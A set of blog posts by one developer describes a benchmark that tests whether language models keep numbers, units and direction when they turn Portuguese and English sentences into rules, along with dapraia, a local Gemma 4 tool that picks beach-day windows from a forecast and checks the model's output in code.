&lt;p&gt;Last week I built &lt;a href="https://github.com/vinimabreu/dapraia" rel="noopener noreferrer"&gt;dapraia&lt;/a&gt;, a small tool that tells me the night before whether tomorrow is a beach day. You describe how you like it in one sentence, and a model on my laptop turns that sentence into rules a forecast can be checked against: wind under 15 km/h, start after 6, low tide.&lt;/p&gt;

&lt;p&gt;The worst bug I hit there was not a crash. "Kitesurf com vento entre 15 e 25 nós" (wind between 15 and 25 knots) came back as 15 to 25 km/h. The rule looked right, it passed my first check, and it would have picked days with half the wind the person asked for. A wrong number that looks right is the error nobody reports, because nobody notices it.&lt;/p&gt;

&lt;p&gt;So this benchmark measures exactly that: &lt;strong&gt;when a model turns a sentence into rules, does it keep the number, the unit and the direction the person wrote?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are 40 sentences, 30 in Portuguese and 10 in English, in seven groups:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;speed units&lt;/strong&gt;: knots, mph and m/s that have to become km/h&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;other units&lt;/strong&gt;: feet, Fahrenheit, "1 metro e meio" (a metre and a half)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;direction&lt;/strong&gt;: "nunca acima de 15", "evito vento acima de 30", "20 km/h ou mais", where a maximum has to stay a maximum&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;time of day&lt;/strong&gt;: "7 e meia", "5 da tarde", "12 da noite", "after 5:30pm"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;decoys&lt;/strong&gt;: numbers that are not limits ("vôlei 2x2 perto do Posto 6", "corrida com 4 amigos") and a bare "até 12" with no unit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;durations&lt;/strong&gt;: "40 minutos", "uma hora e meia depois da maré baixa"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;plain&lt;/strong&gt;: the easy ones, as a floor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each sentence has a hand-checked answer key: the field, the value and a tolerance (1 km/h or 1 °C after a conversion, 0.05 otherwise). A sentence scores only when every expected rule is there with the right value. Every miss gets a label: &lt;code&gt;unit_or_value&lt;/code&gt; (right field, wrong number), &lt;code&gt;missing&lt;/code&gt;, &lt;code&gt;flipped&lt;/code&gt; (the value landed in the opposite field, so a maximum became a minimum) or &lt;code&gt;decoy&lt;/code&gt; (a number that was never a limit became a rule). The score is the share of sentences that came back fully right.&lt;/p&gt;

&lt;p&gt;The benchmark has two tasks with the same 40 sentences. In &lt;code&gt;keep_the_number_you_wrote&lt;/code&gt; the prompt lists only the field names, so the unit lives in the name (&lt;code&gt;wind_max_kmh&lt;/code&gt;, &lt;code&gt;water_min_c&lt;/code&gt;). In &lt;code&gt;keep_the_number_units_spelled_out&lt;/code&gt; the prompt says what each field means, its unit and its range, and adds one line: convert any other unit into the field's unit. The pair asks how much of the reading is the model and how much is the instruction.&lt;/p&gt;

&lt;h2&gt;
  
  
  Models Tested
&lt;/h2&gt;

&lt;p&gt;Eight, each for a reason:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Gemma 4 26B A4B and Gemma 4 31B&lt;/strong&gt;, the closest Kaggle has to the Gemma 4 12B that runs dapraia on my laptop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gemini 3.5 Flash-Lite, GPT-5.4 nano, Claude Haiku 4.5 and gpt-oss-20b&lt;/strong&gt;, the small, cheap models a tool like this would actually call every night.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gemini 3.7 Flash and Claude Sonnet 5.5&lt;/strong&gt;, as a reference for what a stronger model does with the same words.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I also tried qwen3-next-80b, which answered 24 of the 40 in thirty minutes, and gpt-oss-120b, which timed out in the same run. I left both out rather than publish partial rows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Findings
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Units only in the field name&lt;/th&gt;
&lt;th&gt;Units spelled out&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Haiku 4.5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemma 4 31B&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemma 4 26B A4B&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 3.7 Flash&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Sonnet 5.5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 3.5 Flash-Lite&lt;/td&gt;
&lt;td&gt;97.5%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;100%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gpt-oss-20b&lt;/td&gt;
&lt;td&gt;95.0%&lt;/td&gt;
&lt;td&gt;97.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPT-5.4 nano&lt;/td&gt;
&lt;td&gt;95.0%&lt;/td&gt;
&lt;td&gt;97.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;1. With the units spelled out, the task is close to solved.&lt;/strong&gt; Six of the eight models got all 40 right, and the other two missed one sentence each. The instruction that closed the gap is short: the unit of each field, the range of the clock (0 to 24, so 7.5 is 7:30), and "convert any other unit into the field's unit".&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Without it, the misses are units and clock words.&lt;/strong&gt; The leaderboard shows one score per model, so the detail comes from my notebook runs of the same 40 sentences the same afternoon (Claude Haiku 4.5 was not in those). Every miss on the bare prompt:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Gemma 4 26B read "entre 15 e 25 nós" as 15 and 25 km/h, and "gusts under 20 kt" as 20 km/h. It is the same error my local Gemma 12B made in dapraia.&lt;/li&gt;
&lt;li&gt;gpt-oss-20b turned 82 °F into 25.6 °C (it is 27.8) and "até as 12 da noite" (until midnight) into hour 0. The bare prompt never says the clock runs to 24, so midnight as 0 is a fair reading that still breaks the rule: a window that ends at 0 never opens.&lt;/li&gt;
&lt;li&gt;GPT-5.4 nano kept "rajadas até 25 nós" as 25 km/h, dropped "1 metro e meio", and turned "vento até 12 no fim de semana" (wind up to 12 on the weekend) into a 999 km/h wind limit plus a midnight-to-noon window nobody asked for.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In those runs no model flipped a maximum into a minimum, and none turned "2x2", "Posto 6" or "4 amigos" into a rule. I did see a flip in dapraia, but my own code caused it: a phrase list misread "evito vento acima de 30 km/h" (I avoid wind above 30), told Gemma its correct maximum was wrong, and Gemma obeyed. Given only the sentence, every model here kept the direction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. One run cannot rank the top.&lt;/strong&gt; Gemma 4 26B scored 38 of 40 on the bare prompt in my notebook and 40 of 40 on the leaderboard run later the same afternoon. Flash-Lite went the other way, 40 and then 39. At 40 sentences and one run, a one-sentence gap between two models is noise. What repeated was the kind of sentence that failed: knots, Fahrenheit, "metro e meio" and midnight. With the units spelled out, gpt-oss-20b and nano missed one sentence in both runs. In my notebook, nano's was "vento de no máximo 5 m/s" (wind of at most 5 m/s), which came back as a 5 metre wave limit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What surprised me&lt;/strong&gt; is how cheap the fix is compared with what I built. In dapraia I wrote checks that read the unit after every number and reject a rule whose quote says something else. The benchmark says a few lines of instruction put six of the eight models at 40 of 40 and the other two at 39. It also says why the check still has to stay: the runs vary, and the one run that reads knots as km/h is the one that picks the wrong day. The instruction moves the average; the check catches the run that still goes wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I would measure next:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;five runs per model on each task, to report a spread instead of one number&lt;/li&gt;
&lt;li&gt;harder sentences: comma decimals ("1,5 m"), the Beaufort scale, "meia-noite", two units in one phrase&lt;/li&gt;
&lt;li&gt;the check itself: feed every miss above to dapraia's quote check and count how many it stops before a person ever sees the rule&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  My Benchmark
&lt;/h2&gt;

&lt;p&gt;The benchmark, with both tasks and the leaderboard: &lt;a href="https://www.kaggle.com/benchmarks/vinimabreu/keep-the-number-you-wrote" rel="noopener noreferrer"&gt;Keep the number you wrote&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The two tasks, each with the 40 sentences, the answer key, the grader and its prompt in the code:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.kaggle.com/benchmarks/tasks/vinimabreu/keep-the-number-you-wrote/1" rel="noopener noreferrer"&gt;keep_the_number_you_wrote&lt;/a&gt;, units only in the field name&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.kaggle.com/benchmarks/tasks/vinimabreu/keep-the-number-units-spelled-out/1" rel="noopener noreferrer"&gt;keep_the_number_units_spelled_out&lt;/a&gt;, units spelled out&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The answer key is plain Python in the task code, so a new sentence is one line.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>kagglechallenge</category>
      <category>ai</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>Dá praia amanhã? One line the night before, picked by code and explained by Gemma 4 on my laptop</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Wed, 07 Oct 2026 00:27:42 +0000</pubDate>
      <link>https://dev.to/vinimabreu/da-praia-amanha-one-line-the-night-before-picked-by-code-and-explained-by-gemma-4-on-my-laptop-3fnf</link>
      <guid>https://dev.to/vinimabreu/da-praia-amanha-one-line-the-night-before-picked-by-code-and-explained-by-gemma-4-on-my-laptop-3fnf</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-week1-2026-10-05"&gt;Hacktoberfest Open-Source AI Challenge Week 1: Touch Grass&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Last week I built a tool that reads what my coding agents ran in the terminal. Between midnight and mid-afternoon of one working day, it counted 548 commands. This week's theme is Touch Grass, and that number made it personal.&lt;/p&gt;

&lt;p&gt;I live in Niterói, across the bay from Rio. Here, the question the night before is "dá praia amanhã?": is tomorrow a beach day? The honest answer depends on things nobody checks at 10 pm: will the wind stay down until nine, does the rain chance climb after lunch, when is low tide, and is the sand wide and firm at the hour you can actually go.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;dapraia&lt;/strong&gt; answers that question in one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dá praia amanhã (qua 07/10): Piratininga, das 6h às 9h. A maré baixa às 7h10 e o vento está bem fraco, então o céu encoberto não atrapalha nada.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;em&gt;Beach day tomorrow (Wed 07/10): Piratininga, 6 to 9 am. Low tide at 7:10 and the wind is very light, so the overcast sky won't get in the way.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You use the screen three times, and each time is short:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Once, to say how you like it&lt;/strong&gt;, in your own words: "futevôlei de manhã cedo, pouco vento, sem chuva, e maré baixa pra areia ficar firme. Pelo menos 2 horas." (Footvolley early in the morning, little wind, no rain, and low tide so the sand is firm. At least two hours.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every evening, one line&lt;/strong&gt;, in the terminal or as a push notification on your phone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;After you come back, one sentence about how it went.&lt;/strong&gt; The plan adjusts, if you agree.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is for anyone whose time outside depends on wind, rain and tide: footvolley and beach volleyball, a run on the hard sand, a swim, surf, a walk with the dog at low tide. I built it for the beach first because that is where I live.&lt;/p&gt;
&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa0rm8bh84esvybemgbs1.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa0rm8bh84esvybemgbs1.gif" alt="dapraia: a plan read by Gemma 4, the window picked by code, one line a day, and a plan that learns from how it went" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is a real run, on a real forecast for three beaches in Niterói recorded on October 6, so anyone can reproduce it from the repo. &lt;code&gt;--why&lt;/code&gt; shows the hours behind the pick:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ dapraia --why
Dá praia amanhã (qua 07/10): Piratininga, das 6h às 9h. A maré baixa às 7h10 e o vento está bem fraco, então o céu encoberto não atrapalha nada.

Piratininga · amanhã (qua 07/10) · onda e maré do ponto do modelo a 4,5 km
  hora      vento km/h     chuva %   h da maré
  6h    ✓           3           8         0,7 ◀
  7h    ✓           4           5         0,3 ◀
  8h    ✓           4           3         1,3 ◀
  maré baixa às 7h10, maré cheia às 13h10, maré baixa às 19h30 (maré baixa: modelo +60 min, do seu plano)
Previsão: Open-Meteo.com (CC BY 4.0). Onda e maré vêm de um modelo com grade de ~8 km: servem pra planejar, não pra navegar.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Every hour from 6 to 9 passes: 3 to 4 km/h of wind against a limit of 15, a rain chance under 10%, and low tide at 7:10, inside the two hours either side that the plan allows. The sky is 95% cloud, and the sentence says so instead of calling it a great day; that took a fix of its own. The window ends at 9 because that is when the plan says the morning ends. The "+60 min" is a correction I measured against the Brazilian Navy's tide table, for low tides only; more on that below.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/dapraia" rel="noopener noreferrer"&gt;
        dapraia
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      The hour to go outside tomorrow, in one line: an open forecast, your own words read by Gemma 4 on your machine, and a window picked by plain code.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;dapraia&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://github.com/vinimabreu/dapraia/actions/workflows/tests.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/vinimabreu/dapraia/actions/workflows/tests.yml/badge.svg" alt="tests"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;"Dá praia?" is what people in Rio and Niterói ask the night before: is tomorrow a beach day? dapraia answers it in one line. It picks the hour to go out from an open forecast and from how you like it, said in your own words, and a model running on your own machine explains the pick.&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/dapraia/assets/dapraia.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fdapraia%2FHEAD%2Fassets%2Fdapraia.gif" alt="dapraia: a plan read by Gemma 4, the window picked by code, one line a day, and a plan that learns from how it went"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;Dá praia amanhã (qua 07/10): Piratininga, das 6h às 9h. A maré baixa às 7h10 e o vento está bem fraco, então o céu encoberto não atrapalha nada
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Beach day tomorrow (Wed 07/10): Piratininga, 6 to 9 am. Low tide at 7:10 and the wind is very light, so the overcast sky won't get in the way.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;That is the whole screen time. You read one line in the evening (or get it as a push notification) and go.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How it works&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;The work is split. A model reads and writes words…&lt;/p&gt;&lt;/div&gt;


&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/dapraia" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;dapraia is Python with no dependencies of its own. The model is &lt;a href="https://ollama.com/library/gemma4" rel="noopener noreferrer"&gt;Gemma 4 12B&lt;/a&gt;, served by Ollama on &lt;code&gt;127.0.0.1&lt;/code&gt;. The forecast is &lt;a href="https://open-meteo.com" rel="noopener noreferrer"&gt;Open-Meteo&lt;/a&gt;, and push notifications go through &lt;a href="https://ntfy.sh" rel="noopener noreferrer"&gt;ntfy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The design rule is the one I kept from last week: &lt;strong&gt;the model reads and writes words; plain code decides.&lt;/strong&gt; Gemma never decides whether you go. It turns your words into rules, and it explains a decision the code already made. Both outputs are checked before you see them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reading how you like it.&lt;/strong&gt; Gemma gets your sentence and a JSON schema (Ollama's structured outputs) and returns rules: a field, a value, and a quote. This is what it read from the sentence above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Entendi assim:
  atividade    futevôlei                            ← "futevôlei"
               a partir das 6h                      ← "de manhã"
               até as 9h                            ← "cedo"
               vento até 15 km/h                    ← "pouco vento"
               chance de chuva até 20%              ← "sem chuva"
               maré baixa                           ← "maré baixa"
               pelo menos 2h seguidas               ← "Pelo menos 2 horas"
  não sei medir: "pra areia ficar firme"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The quote is what makes the reading checkable. A rule is kept only if its quote is in what you wrote, word for word, inside one sentence. A number in the quote has to be the rule's value, converted from the unit written right after it: "vento até 12 km/h" can't become 15, "15 mph" becomes 24 km/h, "20%" can't be a wind limit. Then the check runs the other way: every number you wrote has to be the value of some rule, or sit in the list of things the tool can't measure. What fails goes back to Gemma once with the problems listed; what still fails is left out and shown to you. Nothing is saved until you say yes.&lt;/p&gt;

&lt;p&gt;That list of things it can't measure became my favourite part. "Pra areia ficar firme" (so the sand is firm) has no field: firm sand is what low tide gives you, and low tide is already a rule. Gemma put it on the list instead of inventing a rule for it, and did the same in English with "with my dog".&lt;/p&gt;

&lt;p&gt;Vague words are where the model earns its place. "Pouco vento" has no number, so Gemma picks one (15 km/h), and you see it next to the words it came from. Its early picks were wrong in useful ways: "de manhã cedo" came back as "from 8 am" with no end, and "no rain" as a 0% rain chance, which a Rio forecast almost never shows. I didn't patch those in code; I told the model what a person means. Then six sentences in two languages came back clean, in 2 to 6 seconds each on my laptop, one of them in feet, knots and Fahrenheit.&lt;/p&gt;

&lt;p&gt;The seventh caught my own check. "Kitesurf com vento entre 15 e 25 nós" (wind between 15 and 25 knots) came back as 15 and 25 km/h, and the check let it through, because the unit sat three words after the first number. That is the worst kind of error, a plan that looks right and picks days with half the wind you wanted. Now the unit is read after the number or the end of its range, and the retry says "in km/h that is 28". Gemma fixes it on the retry, 28 and 46, three times out of three.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Picking the window.&lt;/strong&gt; No model here. For every spot, &lt;a href="https://github.com/vinimabreu/dapraia/blob/main/dapraia/pick.py" rel="noopener noreferrer"&gt;&lt;code&gt;pick.py&lt;/code&gt;&lt;/a&gt; checks every hour you asked for, in daylight and not already gone, against every rule, finds the stretches that pass for long enough, and ranks them by the room they leave inside your limits. Low and high tide come from the modelled sea level, with a parabola through three hourly readings, rounded to 10 minutes. An English test plan found a bug: "late afternoon" became 17:00 to 21:00, the sun sets at 17:53, and I required the whole hour in daylight, so nothing ever qualified. Now an hour counts when its middle is in daylight.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explaining it.&lt;/strong&gt; The headline (go or not, where, from when to when) is always written by code. Gemma writes only the second half, the why, and &lt;a href="https://github.com/vinimabreu/dapraia/blob/main/dapraia/line.py" rel="noopener noreferrer"&gt;&lt;code&gt;check_why&lt;/code&gt;&lt;/a&gt; reads it first: every number, time, date, day and name in it has to be in the facts the code gave it, a number with a unit needs the same unit there, and it has 160 characters at most. A failed sentence gets one retry, then you get the code's own sentence.&lt;/p&gt;

&lt;p&gt;None of that sentence's real failures was a wrong number. The first version repeated the headline and mangled the tide into "a maré baixa dura até 2h antes ou depois das 6h10" (the low tide lasts until two hours before or after 6:10). The second copied my prompt: I had given it one example, and it reused the example's ending ("after the window, the tide comes in") on a day the window ended for another reason, then said the low tide fell "right in the middle" when it fell near the end, because my next example said so. A third called a 95% overcast morning "ótimo" (great). An example in a prompt is an instruction, and Gemma followed it. The fix was to stop asking the model for judgements the code can make: the code now writes where the tide falls ("perto do fim do horário"), how much room each condition leaves ("bem abaixo do limite"), and the cloud cover, and the check refuses sunny words under a grey sky. A check can stop a wrong fact. It can't stop a true-sounding phrase the facts never said, so the facts have to say more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;After the beach.&lt;/strong&gt; &lt;code&gt;dapraia fui&lt;/code&gt; ("I went") takes one sentence about how it went, compares it with the forecast for that day, and proposes changes, each quoting your words. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ dapraia fui "ventou bem mais do que dizia, umas rajadas chatas, e às 8h30 a areia já tava mole" --day 2026-10-07
Mudaria assim:
  vento até 15 km/h  →  vento até 12 km/h   ← "ventou bem mais do que dizia"
  (nada)  →  rajadas até 14 km/h   ← "umas rajadas chatas"
  até 2h antes ou depois da maré (padrão)  →  até 1h antes ou depois da maré   ← "às 8h30 a areia já tava mole"
  (conta do código: 8h30 fica 1h20 depois da maré baixa das 7h10, então até 1h)
Aplicar? [s/N]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;("Way windier than it said, some annoying gusts, and at 8:30 the sand was already soft.") Every pick is kept with all the numbers the forecast gave for those hours, so Gemma sees that the gusts that morning went from 8 to 14 km/h and proposes a limit near the top: 14 here, 13 or 15 on other runs. It also decides which rule the sand is about and whether the window should tighten. The arithmetic is the code's: 8:30 is an hour and twenty minutes after the 7:10 low tide, so the window becomes the last half hour before that, one hour. Nothing changes until you say yes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The tide, checked against the Navy.&lt;/strong&gt; Open-Meteo's documentation says its tides come from a model on a grid of about 8 km, with limited accuracy at the coast, not for navigation. I wanted to know how limited. The Brazilian Navy publishes official tide predictions for the port of Rio de Janeiro, at Ilha Fiscal, across the bay. For October 6 to 9, every one of the model's eight low tides came early, by 53 to 69 minutes, and the high tides 21 to 39 minutes early. The model's own point inside the bay was just as early for the lows, so it isn't the bay against the open sea.&lt;/p&gt;

&lt;p&gt;For a tool built around "go at low tide", an hour is the whole window. It is also the good kind of error, steady, so one number fixes it for the tide your rule is about: with &lt;code&gt;dapraia tide-shift 60&lt;/code&gt;, all eight lows land within 10 minutes of the Navy's table. The sixteen official times and the check that recomputes the gap ship in the repo and run with the tests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trying to break it.&lt;/strong&gt; Before publishing, I ran an adversarial review whose only job was to break the code and the README. I ran it eleven times. The first found 13 problems, among them that &lt;code&gt;fui&lt;/code&gt; compared your words with whichever forecast had run last, and that a date past the forecast came back as "não dá praia", as if the beach were closed. Most of the rest were about one thing: how people write the time. "Até 12 no fim de semana" (up to 12 on the weekend) became 22 km/h because I had taught the unit check that "no" might be "nó", a knot. "Umas 2h depois da maré" was read as two in the morning. "A partir das 7 e meia" was saved as 7:00, "entre 10 e 15 km/h" became a quarter past ten, and "às 8 horas e meia" lost its half hour because a regular expression tried "h" before "horas". Several of those holes were opened by my own fixes from the round before, and each one is a test now. In the end I stopped teaching that part to understand more spellings and made it refuse instead: the code only does the sum when the time is unambiguous, and anything else ("8.30", "8 e dez", "às 2h depois da maré": two o'clock, or two hours?) gets a note and leaves the number for you to judge.&lt;/p&gt;

&lt;p&gt;The finding that changed the design came in round three. My direction check was a list of phrases, and when it misread one ("evito vento acima de 30 km/h", I avoid wind above 30), it rejected Gemma's correct maximum and told it why. Gemma did what it was told: on the retry it flipped the rule into a minimum, which the list liked, and the plan said the opposite of what the person wrote. A heuristic that talks back to the model doesn't just miss errors; it can manufacture them. So the lists in dapraia never argue with the model any more. They show you a note before you save, and you decide.&lt;/p&gt;

&lt;p&gt;There are 344 tests, and none of them needs the model or the network. They cover every check against quotes and numbers that should and shouldn't pass, the picker on synthetic days (wind picking up at nine, rain all morning, short stretches, weekends only, daylight, low tide, hours already gone, time zones), a real Open-Meteo answer for three beaches, the tide claim against the Navy's table, the sentence check against sentences that invent numbers, times, dates, days and places, and the command line end to end with a fake model.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;A plan for the beach is location data. "Piratininga, weekdays at 6 am" says where someone will be, on a schedule. dapraia sends those words to a model on my own laptop. The client only talks to Ollama on loopback unless I pass a flag, and it ignores proxy settings so the prompt can't take a detour. Open-Meteo gets the coordinates of the beach, because a forecast needs them. If I turn on push notifications, the daily line goes to the ntfy server I picked, and I can run that server myself.&lt;/p&gt;

&lt;p&gt;It costs nothing to run every day. Open-Meteo needs no key and no account, and neither does ntfy. Gemma runs on hardware I already own. A tool you use once a day for years should not come with a bill or a key that expires.&lt;/p&gt;

&lt;p&gt;Open also let me check the data instead of trusting it. Open-Meteo documents what its tide model can and can't do, the Navy publishes its tables, and comparing the two took one afternoon and sixteen numbers. That comparison is now a test in the repo. Open-Meteo is open source too (AGPL-3.0), with self-hosting documented, so the forecast doesn't have to come from someone else's server either.&lt;/p&gt;

&lt;p&gt;And it is mine to change. &lt;code&gt;--model&lt;/code&gt; swaps Gemma for anything Ollama serves, the plan is a JSON file I can edit, and the rules are one readable module. If you surf, you want waves above a metre where I want them flat; that is a sentence, not a code change.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;Best Use of Gemma: Gemma 4 12B runs locally through Ollama. It reads the plan (with Ollama's structured outputs and a quote check on every rule), writes the daily why (under a fact check), and reads how the outing went to propose changes to the plan.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>What did my agents run today? A daily note for a friend who lives in the terminal, written by Gemma 4 on his own laptop</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Fri, 02 Oct 2026 21:08:57 +0000</pubDate>
      <link>https://dev.to/vinimabreu/what-did-my-agents-run-today-a-daily-note-for-a-friend-who-lives-in-the-terminal-written-by-gemma-5i3</link>
      <guid>https://dev.to/vinimabreu/what-did-my-agents-run-today-a-daily-note-for-a-friend-who-lives-in-the-terminal-written-by-gemma-5i3</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-weekend-2026-10-01"&gt;Hacktoberfest Weekend Challenge: Build for a Friend&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

